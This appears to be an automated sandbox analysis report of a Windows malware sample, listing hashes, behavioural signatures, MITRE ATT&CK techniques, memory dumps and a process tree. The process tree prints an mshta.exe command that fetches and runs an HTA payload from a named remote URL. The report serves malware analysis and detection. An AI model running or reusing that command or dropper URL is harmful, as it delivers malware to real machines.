456b3f9da9adb06a2af3fe8d9bef4d0a53fd3f044df18089ae0bed0fd40e1173

Analysis

max time kernel
150s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
07/01/2024, 07:20

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General

Target

485cc1c7a9bc081a58c176d334b3f2c9.exe
Size

533KB
MD5

485cc1c7a9bc081a58c176d334b3f2c9
SHA1

aa6138804a5556e5e1f302de46622907985157a0
SHA256

456b3f9da9adb06a2af3fe8d9bef4d0a53fd3f044df18089ae0bed0fd40e1173
SHA512

b970a04842364746edaf59e2f70cdddce832989e60814ecdef515c1b9a21ce13d6d259279944b295a0401d1773bd90deb12210a5cea0a4432124bb8a119356dc
SSDEEP

12288:XUJczMMN8s49EAK/iMMiOSz4C9MJI9EqJafzHr8NA7rFUO:JMMNx49EAK/iMMiOS8C9JVoHoN25UO

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://kamikirim.id/wp-content/themes/gutener/template-parts.txt

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	485cc1c7a9bc081a58c176d334b3f2c9.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3732	485cc1c7a9bc081a58c176d334b3f2c9.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3732 wrote to memory of 2072	3732	485cc1c7a9bc081a58c176d334b3f2c9.exe	90
PID 3732 wrote to memory of 2072	3732	485cc1c7a9bc081a58c176d334b3f2c9.exe	90

C:\Users\Admin\AppData\Local\Temp\485cc1c7a9bc081a58c176d334b3f2c9.exe
"C:\Users\Admin\AppData\Local\Temp\485cc1c7a9bc081a58c176d334b3f2c9.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3732
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" https://kamikirim.id/wp-content/themes/gutener/template-parts.txt
  2⤵
  PID:2072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3732-0-0x00000000000B0000-0x000000000013C000-memory.dmp

Filesize
560KB

Download
memory/3732-1-0x00007FFCD2450000-0x00007FFCD2F11000-memory.dmp

Filesize
10.8MB

Download
memory/3732-2-0x00000000021A0000-0x00000000021A1000-memory.dmp

Filesize
4KB

Download
memory/3732-3-0x000000001ACF0000-0x000000001AD00000-memory.dmp

Filesize
64KB

Download
memory/3732-5-0x00007FFCD2450000-0x00007FFCD2F11000-memory.dmp

Filesize
10.8MB

Download